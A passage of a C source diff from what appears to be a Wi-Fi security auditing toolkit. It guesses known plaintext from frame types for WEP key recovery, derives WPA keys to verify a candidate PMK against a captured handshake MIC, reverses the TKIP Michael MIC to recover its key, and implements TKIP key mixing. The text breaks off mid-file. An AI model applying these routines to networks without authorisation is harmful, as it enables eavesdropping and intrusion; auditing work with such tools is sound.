+	REQUIRE(wh != NULL);
+
+	if (memcmp((char *) wh + 4, "\x33\x33", 2) == 0
+		|| memcmp((char *) wh + 16, "\x33\x33", 2) == 0)
+		return (1);
+
+	return (0);
+}
+
+int is_dhcp_discover(void * wh, size_t len)
+{
+	REQUIRE(wh != NULL);
+
+	if ((memcmp((char *) wh + 4, BROADCAST, 6) == 0
+		 || memcmp((char *) wh + 16, BROADCAST, 6) == 0)
+		&& (len >= 360 - 24 - 4 - 4 && len <= 380 - 24 - 4 - 4))
+		return (1);
+
+	return (0);
+}
+
+static inline int is_arp(void * wh, size_t len)
+{
+	UNUSED_PARAM(wh);
+
+	const size_t arpsize = 8 + 8 + 10 * 2;
+
+	/* remove non BROADCAST frames? could be anything, but
+		 * chances are good that we got an arp response tho.   */
+
+	if (len == arpsize || len == 54) return (1);
+
+	return (0);
+}
+
+static inline int is_wlccp(void * wh, size_t len)
+{
+	UNUSED_PARAM(wh);
+
+	const size_t wlccpsize = 58;
+
+	if (len == wlccpsize) return (1);
+
+	return (0);
+}
+
+int is_qos_arp_tkip(void * wh, int len)
+{
+	REQUIRE(wh != NULL);
+
+	unsigned char * packet = (unsigned char *) wh;
+	const int qosarpsize
+		= (24 + 2) + 8 + (8 + (8 + 10 * 2)) + 8 + 4; // 82 in total
+
+	if ((packet[1] & 3) == 1) // to ds
+	{
+		if (len == qosarpsize) // always wireless
+			return (1);
+	}
+
+	if ((packet[1] & 3) == 2) // from ds
+	{
+		if (len == qosarpsize
+			|| len == qosarpsize + 18) // wireless or padded wired
+			return (1);
+	}
+
+	return (0);
+}
+
+static int is_spantree(void * wh)
+{
+	REQUIRE(wh != NULL);
+
+	if (memcmp((char *) wh + 4, SPANTREE, 6) == 0
+		|| memcmp((char *) wh + 16, SPANTREE, 6) == 0)
+		return (1);
+
+	return (0);
+}
+
+static int is_cdp_vtp(void * wh)
+{
+	REQUIRE(wh != NULL);
+
+	if (memcmp((char *) wh + 4, CDP_VTP, 6) == 0
+		|| memcmp((char *) wh + 16, CDP_VTP, 6) == 0)
+		return (1);
+
+	return (0);
+}
+
+/* weight is used for guesswork in PTW.  Can be null if known_clear is not for
+ * PTW, but just for getting known clear-text.
+ */
+int known_clear(
+	void * clear, int * clen, int * weight, unsigned char * wh, size_t len)
+{
+	REQUIRE(clear != NULL);
+	REQUIRE(clen != NULL);
+	REQUIRE(wh != NULL);
+
+	unsigned char * ptr = clear;
+	int num;
+
+	if (is_arp(wh, len)) /*arp*/
+	{
+		len = sizeof(S_LLC_SNAP_ARP) - 1;
+		memcpy(ptr, S_LLC_SNAP_ARP, len);
+		ptr += len;
+
+		/* arp hdr */
+		len = 6;
+		memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
+		ptr += len;
+
+		/* type of arp */
+		len = 2;
+		if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
+			memcpy(ptr, "\x00\x01", len);
+		else
+			memcpy(ptr, "\x00\x02", len);
+		ptr += len;
+
+		/* src mac */
+		len = 6;
+		memcpy(ptr, get_sa(wh), len);
+		ptr += len;
+
+		len = ptr - ((unsigned char *) clear);
+		*clen = (int) len;
+		if (weight) weight[0] = 256;
+		return (1);
+	}
+	else if (is_wlccp(wh, len)) /*wlccp*/
+	{
+		len = sizeof(S_LLC_SNAP_WLCCP) - 1;
+		memcpy(ptr, S_LLC_SNAP_WLCCP, len);
+		ptr += len;
+
+		/* wlccp hdr */
+		len = 4;
+		memcpy(ptr, "\x00\x32\x40\x01", len);
+		ptr += len;
+
+		/* dst mac */
+		len = 6;
+		memcpy(ptr, get_da(wh), len);
+		ptr += len;
+
+		len = ptr - ((unsigned char *) clear);
+		*clen = (int) len;
+		if (weight) weight[0] = 256;
+		return (1);
+	}
+	else if (is_spantree(wh)) /*spantree*/
+	{
+		len = sizeof(S_LLC_SNAP_SPANTREE) - 1;
+		memcpy(ptr, S_LLC_SNAP_SPANTREE, len);
+		ptr += len;
+
+		len = ptr - ((unsigned char *) clear);
+		*clen = (int) len;
+		if (weight) weight[0] = 256;
+		return (1);
+	}
+	else if (is_cdp_vtp(wh)) /*spantree*/
+	{
+		len = sizeof(S_LLC_SNAP_CDP) - 1;
+		memcpy(ptr, S_LLC_SNAP_CDP, len);
+		ptr += len;
+
+		len = ptr - ((unsigned char *) clear);
+		*clen = (int) len;
+		if (weight) weight[0] = 256;
+		return (1);
+	}
+	else /* IP */
+	{
+		unsigned short iplen = htons((uint16_t)(len - 8));
+
+		len = sizeof(S_LLC_SNAP_IP) - 1;
+		memcpy(ptr, S_LLC_SNAP_IP, len);
+		ptr += len;
+
+		// version=4; header_length=20; services=0
+		len = 2;
+		memcpy(ptr, "\x45\x00", len);
+		ptr += len;
+
+		// ip total length
+		memcpy(ptr, &iplen, len);
+		ptr += len;
+
+		/* no guesswork */
+		if (!weight)
+		{
+			*clen = (int) (ptr - ((unsigned char *) clear));
+			return (1);
+		}
+		/* setting IP ID 0 is ok, as we
+				 * bruteforce it later
+		 */
+		// ID=0
+		len = 2;
+		memcpy(ptr, "\x00\x00", len);
+		ptr += len;
+
+		// ip flags=don't fragment
+		len = 2;
+		memcpy(ptr, "\x40\x00", len);
+		ptr += len;
+
+		len = ptr - ((unsigned char *) clear);
+		*clen = (int) len;
+
+		memmove((char *) clear + 32, clear, len);
+		memcpy((char *) clear + 32 + 14, "\x00\x00", 2); // ip flags=none
+
+		num = 2;
+		ALLEGE(weight);
+		weight[0] = 220;
+		weight[1] = 36;
+
+		return (num);
+	}
+}
+
+/* derive the pairwise transcient keys from a bunch of stuff */
+
+int calc_ptk(struct WPA_ST_info * wpa, unsigned char pmk[32])
+{
+	REQUIRE(wpa != NULL);
+
+	int i;
+	unsigned char pke[100];
+	unsigned char mic[20];
+
+	memcpy(pke, "Pairwise key expansion", 23);
+
+	if (memcmp(wpa->stmac, wpa->bssid, 6) < 0)
+	{
+		memcpy(pke + 23, wpa->stmac, 6);
+		memcpy(pke + 29, wpa->bssid, 6);
+	}
+	else
+	{
+		memcpy(pke + 23, wpa->bssid, 6);
+		memcpy(pke + 29, wpa->stmac, 6);
+	}
+
+	if (memcmp(wpa->snonce, wpa->anonce, 32) < 0)
+	{
+		memcpy(pke + 35, wpa->snonce, 32);
+		memcpy(pke + 67, wpa->anonce, 32);
+	}
+	else
+	{
+		memcpy(pke + 35, wpa->anonce, 32);
+		memcpy(pke + 67, wpa->snonce, 32);
+	}
+
+	for (i = 0; i < 4; i++)
+	{
+		pke[99] = (uint8_t) i;
+		HMAC(EVP_sha1(), pmk, 32, pke, 100, wpa->ptk + i * 20, NULL);
+	}
+
+	/* check the EAPOL frame MIC */
+
+	if ((wpa->keyver & 0x07) == 1)
+		HMAC(EVP_md5(), wpa->ptk, 16, wpa->eapol, wpa->eapol_size, mic, NULL);
+	else
+		HMAC(EVP_sha1(), wpa->ptk, 16, wpa->eapol, wpa->eapol_size, mic, NULL);
+
+	return (memcmp(mic, wpa->keymic, 16) == 0); //-V512
+}
+
+static int init_michael(struct Michael * mic, const unsigned char key[8])
+{
+	REQUIRE(mic != NULL);
+
+	mic->key0 = UBTOUL(key[0]) << 0UL | UBTOUL(key[1]) << 8UL
+				| UBTOUL(key[2]) << 16UL | UBTOUL(key[3] << 24UL);
+	mic->key1 = UBTOUL(key[4]) << 0UL | UBTOUL(key[5]) << 8UL
+				| UBTOUL(key[6]) << 16UL | UBTOUL(key[7] << 24UL);
+
+	// and reset the message
+	mic->left = mic->key0;
+	mic->right = mic->key1;
+	mic->nBytesInM = 0UL;
+	mic->message = 0UL;
+
+	return (0);
+}
+
+static int michael_append_byte(struct Michael * mic, unsigned char byte)
+{
+	REQUIRE(mic != NULL);
+
+	mic->message |= (UBTOUL(byte) << (8UL * mic->nBytesInM));
+	mic->nBytesInM++;
+
+	// Process the word if it is full.
+	if (mic->nBytesInM >= 4UL)
+	{
+		mic->left ^= mic->message;
+		mic->right ^= ROL32(mic->left, 17);
+		mic->left += mic->right;
+		mic->right ^= ((mic->left & 0xff00ff00) >> 8UL)
+					  | ((mic->left & 0x00ff00ff) << 8UL);
+		mic->left += mic->right;
+		mic->right ^= ROL32(mic->left, 3);
+		mic->left += mic->right;
+		mic->right ^= ROR32(mic->left, 2);
+		mic->left += mic->right;
+		// Clear the buffer
+		mic->message = 0UL;
+		mic->nBytesInM = 0UL;
+	}
+
+	return (0);
+}
+
+static int michael_remove_byte(struct Michael * mic,
+							   const unsigned char bytes[4])
+{
+	REQUIRE(mic != NULL);
+
+	if (mic->nBytesInM == 0)
+	{
+		// Clear the buffer
+		mic->message = UBTOUL(bytes[0]) << 0UL | UBTOUL(bytes[1]) << 8UL
+					   | UBTOUL(bytes[2]) << 16UL | UBTOUL(bytes[3]) << 24UL;
+		mic->nBytesInM = 4;
+		mic->left -= mic->right;
+		mic->right ^= ROR32(mic->left, 2);
+		mic->left -= mic->right;
+		mic->right ^= ROL32(mic->left, 3);
+		mic->left -= mic->right;
+		mic->right ^= ((mic->left & 0xff00ff00) >> 8UL)
+					  | ((mic->left & 0x00ff00ff) << 8UL);
+		mic->left -= mic->right;
+		mic->right ^= ROL32(mic->left, 17);
+		mic->left ^= mic->message;
+	}
+	mic->nBytesInM--;
+	mic->message &= ~(0xFFUL << (8UL * mic->nBytesInM));
+
+	return (0);
+}
+
+static int
+michael_append(struct Michael * mic, unsigned char * bytes, int length)
+{
+	while (length > 0)
+	{
+		michael_append_byte(mic, *bytes++);
+		length--;
+	}
+	return (0);
+}
+
+static int
+michael_remove(struct Michael * mic, unsigned char * bytes, int length)
+{
+	while (length >= 4)
+	{
+		michael_remove_byte(mic, (bytes + length - 4));
+		length--;
+	}
+	return (0);
+}
+
+static int michael_finalize(struct Michael * mic)
+{
+	REQUIRE(mic != NULL);
+
+	// Append the minimum padding
+	michael_append_byte(mic, 0x5a);
+	michael_append_byte(mic, 0);
+	michael_append_byte(mic, 0);
+	michael_append_byte(mic, 0);
+	michael_append_byte(mic, 0);
+	// and then zeroes until the length is a multiple of 4
+	while (mic->nBytesInM != 0)
+	{
+		michael_append_byte(mic, 0);
+	}
+	// The appendByte function has already computed the result.
+	mic->mic[0] = (uint8_t)((mic->left >> 0) & 0xff);
+	mic->mic[1] = (uint8_t)((mic->left >> 8) & 0xff);
+	mic->mic[2] = (uint8_t)((mic->left >> 16) & 0xff);
+	mic->mic[3] = (uint8_t)((mic->left >> 24) & 0xff);
+	mic->mic[4] = (uint8_t)((mic->right >> 0) & 0xff);
+	mic->mic[5] = (uint8_t)((mic->right >> 8) & 0xff);
+	mic->mic[6] = (uint8_t)((mic->right >> 16) & 0xff);
+	mic->mic[7] = (uint8_t)((mic->right >> 24) & 0xff);
+
+	return (0);
+}
+
+static int michael_finalize_zero(struct Michael * mic)
+{
+	REQUIRE(mic != NULL);
+
+	// Append the minimum padding
+	michael_append_byte(mic, 0);
+	michael_append_byte(mic, 0);
+	michael_append_byte(mic, 0);
+	michael_append_byte(mic, 0);
+	michael_append_byte(mic, 0);
+	// and then zeroes until the length is a multiple of 4
+	while (mic->nBytesInM != 0)
+	{
+		michael_append_byte(mic, 0);
+	}
+	// The appendByte function has already computed the result.
+	mic->mic[0] = (uint8_t)((mic->left >> 0) & 0xff);
+	mic->mic[1] = (uint8_t)((mic->left >> 8) & 0xff);
+	mic->mic[2] = (uint8_t)((mic->left >> 16) & 0xff);
+	mic->mic[3] = (uint8_t)((mic->left >> 24) & 0xff);
+	mic->mic[4] = (uint8_t)((mic->right >> 0) & 0xff);
+	mic->mic[5] = (uint8_t)((mic->right >> 8) & 0xff);
+	mic->mic[6] = (uint8_t)((mic->right >> 16) & 0xff);
+	mic->mic[7] = (uint8_t)((mic->right >> 24) & 0xff);
+
+	return (0);
+}
+
+int michael_test(unsigned char key[8],
+				 unsigned char * message,
+				 int length,
+				 unsigned char out[8])
+{
+	int i = 0;
+	struct Michael mic0;
+	struct Michael mic1;
+	struct Michael mic2;
+	struct Michael mic;
+
+	init_michael(&mic0, (unsigned char *) "\x00\x00\x00\x00\x00\x00\x00\x00");
+	init_michael(&mic1, (unsigned char *) "\x00\x00\x00\x00\x00\x00\x00\x00");
+	init_michael(&mic2, (unsigned char *) "\x00\x00\x00\x00\x00\x00\x00\x00");
+
+	michael_append_byte(&mic0, 0x02);
+	michael_append_byte(&mic1, 0x01);
+	michael_append_byte(&mic2, 0x03);
+
+	michael_finalize(&mic0);
+	michael_finalize_zero(&mic1);
+	michael_finalize(&mic2);
+
+	printf("Blub 2:");
+	for (i = 0; i < 8; i++)
+	{
+		printf("%02X ", mic0.mic[i]);
+	}
+	printf("\n");
+
+	printf("Blub 1:");
+	for (i = 0; i < 8; i++)
+	{
+		printf("%02X ", mic1.mic[i]);
+	}
+	printf("\n");
+
+	printf("Blub 3:");
+	for (i = 0; i < 8; i++)
+	{
+		printf("%02X ", mic2.mic[i]);
+	}
+	printf("\n");
+
+	init_michael(&mic, key);
+	michael_append(&mic, message, length);
+	michael_finalize(&mic);
+
+	return (memcmp(mic.mic, out, 8) == 0);
+}
+
+int calc_tkip_mic_key(unsigned char * packet, int length, unsigned char key[8])
+{
+	REQUIRE(packet != NULL);
+
+	int z, is_qos = 0;
+	unsigned char smac[6], dmac[6], bssid[6];
+	unsigned char prio[4];
+	unsigned char message[4096];
+	unsigned char * ptr;
+	struct Michael mic;
+
+	memset(message, 0, 4096);
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (length < z) return (0);
+
+	/* Check if 802.11e (QoS) */
+	if ((packet[0] & 0x80) == 0x80)
+	{
+		z += 2;
+		is_qos = 1;
+	}
+
+	memset(prio, 0, 4);
+	if (is_qos)
+	{
+		prio[0] = (uint8_t)(packet[z - 2] & 0x0f);
+	}
+
+	switch (packet[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, packet + 16, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, packet + 4, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 16, 6);
+			break;
+		default:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 24, 6);
+			break;
+	}
+
+	ptr = message;
+	memcpy(ptr, dmac, 6);
+	ptr += 6;
+	memcpy(ptr, smac, 6);
+	ptr += 6;
+	memcpy(ptr, prio, 4);
+	ptr += 4;
+	memcpy(ptr, packet + z, length - z - 8UL);
+	ptr += length - z - 8;
+	memcpy(ptr, "\x5a", 1);
+	ptr += 1;
+	memcpy(ptr, ZERO, 4);
+	ptr += 4;
+	if ((ptr - message) % 4 > 0)
+	{
+		memcpy(ptr, ZERO, 4 - ((ptr - message) % 4));
+		ptr += 4 - ((ptr - message) % 4);
+	}
+
+	init_michael(&mic, packet + length - 8);
+	michael_remove(&mic, message, (int) (ptr - message));
+
+	mic.mic[0] = (uint8_t)((mic.left >> 0) & 0xFF);
+	mic.mic[1] = (uint8_t)((mic.left >> 8) & 0xFF);
+	mic.mic[2] = (uint8_t)((mic.left >> 16) & 0xFF);
+	mic.mic[3] = (uint8_t)((mic.left >> 24) & 0xFF);
+	mic.mic[4] = (uint8_t)((mic.right >> 0) & 0xFF);
+	mic.mic[5] = (uint8_t)((mic.right >> 8) & 0xFF);
+	mic.mic[6] = (uint8_t)((mic.right >> 16) & 0xFF);
+	mic.mic[7] = (uint8_t)((mic.right >> 24) & 0xFF);
+
+	memcpy(key, mic.mic, 8);
+	return (0);
+}
+
+int calc_tkip_mic(unsigned char * packet,
+				  int length,
+				  unsigned char ptk[80],
+				  unsigned char value[8])
+{
+	REQUIRE(packet != NULL);
+
+	int z, koffset = 0, is_qos = 0;
+	unsigned char smac[6], dmac[6], bssid[6];
+	unsigned char prio[4];
+	struct Michael mic;
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (length < z) return (0);
+
+	/* Check if 802.11e (QoS) */
+	if ((packet[0] & 0x80) == 0x80)
+	{
+		z += 2;
+		is_qos = 1;
+	}
+
+	switch (packet[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, packet + 16, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, packet + 4, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 10, 6);
+			koffset = 48 + 8;
+			break;
+		case 2:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 16, 6);
+			koffset = 48;
+			break;
+		default:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 24, 6);
+			break;
+	}
+
+	if (koffset != 48 && koffset != 48 + 8) return (1);
+
+	init_michael(&mic, ptk + koffset);
+
+	michael_append(&mic, dmac, 6);
+	michael_append(&mic, smac, 6);
+
+	memset(prio, 0, 4);
+	if (is_qos)
+	{
+		prio[0] = (uint8_t)(packet[z - 2] & 0x0f);
+	}
+	michael_append(&mic, prio, 4);
+
+	michael_append(&mic, packet + z, length - z);
+
+	michael_finalize(&mic);
+
+	memcpy(value, mic.mic, 8);
+
+	return (0);
+}
+
+static const unsigned short TkipSbox[2][256]
+	= {{0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154, 0x6050,
+		0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A, 0x8F45, 0x1F9D,
+		0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B, 0x41EC, 0xB367, 0x5FFD,
+		0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B, 0x75C2, 0xE11C, 0x3DAE, 0x4C6A,
+		0x6C5A, 0x7E41, 0xF502, 0x834F, 0x685C, 0x51F4, 0xD134, 0xF908, 0xE293,
+		0xAB73, 0x6253, 0x2A3F, 0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1,
+		0x0A0F, 0x2FB5, 0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD,
+		0xEA9F, 0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB,
+		0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397, 0xA6F5,
+		0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED, 0xD4BE, 0x8D46,
+		0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A, 0xBB6B, 0xC52A, 0x4FE5,
+		0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194, 0x8ACF, 0xE910, 0x0406, 0xFE81,
+		0xA0F0, 0x7844, 0x25BA, 0x4BE3, 0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD,
+		0x21BC, 0x7048, 0xF104, 0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A,
+		0xFD0E, 0xBF6D, 0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC,
+		0x2E39, 0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695,
+		0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83, 0x8CCA,
+		0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76, 0xDB3B, 0x6456,
+		0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4, 0x9F5D, 0xBD6E, 0x43EF,
+		0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B, 0xD532, 0x8B43, 0x6E59, 0xDAB7,
+		0x018C, 0xB164, 0x9CD2, 0x49E0, 0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF,
+		0xF48E, 0x47E9, 0x1018, 0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1,
+		0x73C7, 0x9751, 0xCB23, 0xA17C, 0xE89C, 0x3E21, 0x96DD, 0x61DC, 0x0D86,
+		0x0F85, 0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12,
+		0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9, 0xD938,
+		0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7, 0x2DB6, 0x3C22,
+		0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A, 0x038F, 0x59F8, 0x0980,
+		0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8, 0x82C3, 0x29B0, 0x5A77, 0x1E11,
+		0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A},
+	   {0xA5C6, 0x84F8, 0x99EE, 0x8DF6, 0x0DFF, 0xBDD6, 0xB1DE, 0x5491, 0x5060,
+		0x0302, 0xA9CE, 0x7D56, 0x19E7, 0x62B5, 0xE64D, 0x9AEC, 0x458F, 0x9D1F,
+		0x4089, 0x87FA, 0x15EF, 0xEBB2, 0xC98E, 0x0BFB, 0xEC41, 0x67B3, 0xFD5F,
+		0xEA45, 0xBF23, 0xF753, 0x96E4, 0x5B9B, 0xC275, 0x1CE1, 0xAE3D, 0x6A4C,
+		0x5A6C, 0x417E, 0x02F5, 0x4F83, 0x5C68, 0xF451, 0x34D1, 0x08F9, 0x93E2,
+		0x73AB, 0x5362, 0x3F2A, 0x0C08, 0x5295, 0x6546, 0x5E9D, 0x2830, 0xA137,
+		0x0F0A, 0xB52F, 0x090E, 0x3624, 0x9B1B, 0x3DDF, 0x26CD, 0x694E, 0xCD7F,
+		0x9FEA, 0x1B12, 0x9E1D, 0x7458, 0x2E34, 0x2D36, 0xB2DC, 0xEEB4, 0xFB5B,
+		0xF6A4, 0x4D76, 0x61B7, 0xCE7D, 0x7B52, 0x3EDD, 0x715E, 0x9713, 0xF5A6,
+		0x68B9, 0x0000, 0x2CC1, 0x6040, 0x1FE3, 0xC879, 0xEDB6, 0xBED4, 0x468D,
+		0xD967, 0x4B72, 0xDE94, 0xD498, 0xE8B0, 0x4A85, 0x6BBB, 0x2AC5, 0xE54F,
+		0x16ED, 0xC586, 0xD79A, 0x5566, 0x9411, 0xCF8A, 0x10E9, 0x0604, 0x81FE,
+		0xF0A0, 0x4478, 0xBA25, 0xE34B, 0xF3A2, 0xFE5D, 0xC080, 0x8A05, 0xAD3F,
+		0xBC21, 0x4870, 0x04F1, 0xDF63, 0xC177, 0x75AF, 0x6342, 0x3020, 0x1AE5,
+		0x0EFD, 0x6DBF, 0x4C81, 0x1418, 0x3526, 0x2FC3, 0xE1BE, 0xA235, 0xCC88,
+		0x392E, 0x5793, 0xF255, 0x82FC, 0x477A, 0xACC8, 0xE7BA, 0x2B32, 0x95E6,
+		0xA0C0, 0x9819, 0xD19E, 0x7FA3, 0x6644, 0x7E54, 0xAB3B, 0x830B, 0xCA8C,
+		0x29C7, 0xD36B, 0x3C28, 0x79A7, 0xE2BC, 0x1D16, 0x76AD, 0x3BDB, 0x5664,
+		0x4E74, 0x1E14, 0xDB92, 0x0A0C, 0x6C48, 0xE4B8, 0x5D9F, 0x6EBD, 0xEF43,
+		0xA6C4, 0xA839, 0xA431, 0x37D3, 0x8BF2, 0x32D5, 0x438B, 0x596E, 0xB7DA,
+		0x8C01, 0x64B1, 0xD29C, 0xE049, 0xB4D8, 0xFAAC, 0x07F3, 0x25CF, 0xAFCA,
+		0x8EF4, 0xE947, 0x1810, 0xD56F, 0x88F0, 0x6F4A, 0x725C, 0x2438, 0xF157,
+		0xC773, 0x5197, 0x23CB, 0x7CA1, 0x9CE8, 0x213E, 0xDD96, 0xDC61, 0x860D,
+		0x850F, 0x90E0, 0x427C, 0xC471, 0xAACC, 0xD890, 0x0506, 0x01F7, 0x121C,
+		0xA3C2, 0x5F6A, 0xF9AE, 0xD069, 0x9117, 0x5899, 0x273A, 0xB927, 0x38D9,
+		0x13EB, 0xB32B, 0x3322, 0xBBD2, 0x70A9, 0x8907, 0xA733, 0xB62D, 0x223C,
+		0x9215, 0x20C9, 0x4987, 0xFFAA, 0x7850, 0x7AA5, 0x8F03, 0xF859, 0x8009,
+		0x171A, 0xDA65, 0x31D7, 0xC684, 0xB8D0, 0xC382, 0xB029, 0x775A, 0x111E,
+		0xCB7B, 0xFCA8, 0xD66D, 0x3A2C}};
+
+/* TKIP (RC4 + key mixing) decryption routine */
+
+#define ROTR1(x) ((((x) >> 1) & 0x7FFF) ^ (((x) &1) << 15))
+#define LO8(x) ((x) &0x00FF)
+#define LO16(x) ((x) &0xFFFF)
+#define HI8(x) (((x) >> 8) & 0x00FF)
+#define HI16(x) (((x) >> 16) & 0xFFFF)
+#define MK16(hi, lo) ((lo) ^ (LO8(hi) << 8))
+#define TK16(N) MK16(TK1[2 * (N) + 1], TK1[2 * (N)])
+#define _S_(x) (TkipSbox[0][LO8(x)] ^ TkipSbox[1][HI8(x)])
+
+int calc_tkip_ppk(unsigned char * h80211,
+				  int caplen,
+				  unsigned char TK1[16],
+				  unsigned char key[16])
+{
+	UNUSED_PARAM(caplen);
+	REQUIRE(h80211 != NULL);
+
+	int i, z;
+	uint32_t IV32;
+	uint16_t IV16;
+	uint16_t PPK[6];
+
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
+	{
+		z += 2;
+	}
+	IV16 = (uint16_t) MK16(h80211[z], h80211[z + 2]);
+
+	IV32 = (h80211[z + 4]) | (h80211[z + 5] << 8) | (h80211[z + 6] << 16)
+		   | (h80211[z + 7] << 24);
+
+	PPK[0] = (uint16_t) LO16(IV32);
+	PPK[1] = (uint16_t) HI16(IV32);
+	PPK[2] = (uint16_t) MK16(h80211[11], h80211[10]);
+	PPK[3] = (uint16_t) MK16(h80211[13], h80211[12]);
+	PPK[4] = (uint16_t) MK16(h80211[15], h80211[14]);
+
+	for (i = 0; i < 8; i++)
+	{
+		PPK[0] += _S_(PPK[4] ^ TK16((i & 1) + 0));
+		PPK[1] += _S_(PPK[0] ^ TK16((i & 1) + 2));
+		PPK[2] += _S_(PPK[1] ^ TK16((i & 1) + 4));
+		PPK[3] += _S_(PPK[2] ^ TK16((i & 1) + 6));
+		PPK[4] += _S_(PPK[3] ^ TK16((i & 1) + 0)) + i;
+	}
+
+	PPK[5] = PPK[4] + IV16;
+
+	PPK[0] += _S_(PPK[5] ^ TK16(0));
+	PPK[1] += _S_(PPK[0] ^ TK16(1));
+	PPK[2] += _S_(PPK[1] ^ TK16(2));
+	PPK[3] += _S_(PPK[2] ^ TK16(3));
+	PPK[4] += _S_(PPK[3] ^ TK16(4));
+	PPK[5] += _S_(PPK[4] ^ TK16(5));
+
+	PPK[0] += ROTR1(PPK[5] ^ TK16(6));
+	PPK[1] += ROTR1(PPK[0] ^ TK16(7));
+	PPK[2] += ROTR1(PPK[1]);
+	PPK[3] += ROTR1(PPK[2]);
+	PPK[4] += ROTR1(PPK[3]);
+	PPK[5] += ROTR1(PPK[4]);
+
+	key[0] = (uint8_t) HI8(IV16);
+	key[1] = (uint8_t)((HI8(IV16) | 0x20) & 0x7F);
+	key[2] = (uint8_t) LO8(IV16);
+	key[3] = (uint8_t) LO8((PPK[5] ^ TK16(0)) >> 1);
+
+	for (i = 0; i < 6; i++)
+	{
+		key[4 + (2 * i)] = (uint8_t) LO8(PPK[i]);
+		key[5 + (2 * i)] = (uint8_t) HI8(PPK[i]);
+	}
+
+	return (0);
+}
+
+static int calc_tkip_mic_skip_eiv(unsigned char * packet,
+								  int length,
+								  unsigned char ptk[80],
+								  unsigned char value[8])
+{
+	REQUIRE(packet != NULL);
+
+	int z, koffset = 0, is_qos = 0;
+	unsigned char smac[6], dmac[6], bssid[6];
+	unsigned char prio[4] = {0};
+	struct Michael mic;
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (length < z) return (0);
+
+	/* Check if 802.11e (QoS) */
+	if ((packet[0] & 0x80) == 0x80)
+	{
+		z += 2;
+		is_qos = 1;
+	}
+
+	switch (packet[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, packet + 16, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, packet + 4, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 10, 6);
+			koffset = 48 + 8;
+			break;
+		case 2:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 16, 6);
+			koffset = 48;
+			break;
+		default:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 24, 6);
+			break;
+	}
+
+	if (koffset != 48 && koffset != 48 + 8) return (1);
+
+	init_michael(&mic, ptk + koffset);
+
+	michael_append(&mic, dmac, 6);
+	michael_append(&mic, smac, 6);
+
+	// memset(prio, 0, 4);
+	if (is_qos)
+	{
+		prio[0] = (uint8_t)(packet[z - 2] & 0x0f);
+	}
+	michael_append(&mic, prio, 4);
+
+	michael_append(&mic, packet + z + 8, length - z - 8);
+
+	michael_finalize(&mic);
+
+	memcpy(value, mic.mic, 8);
+
+	return (0);
+}
+
+void encrypt_tkip(unsigned char * h80211, int caplen, unsigned char ptk[80])
+{
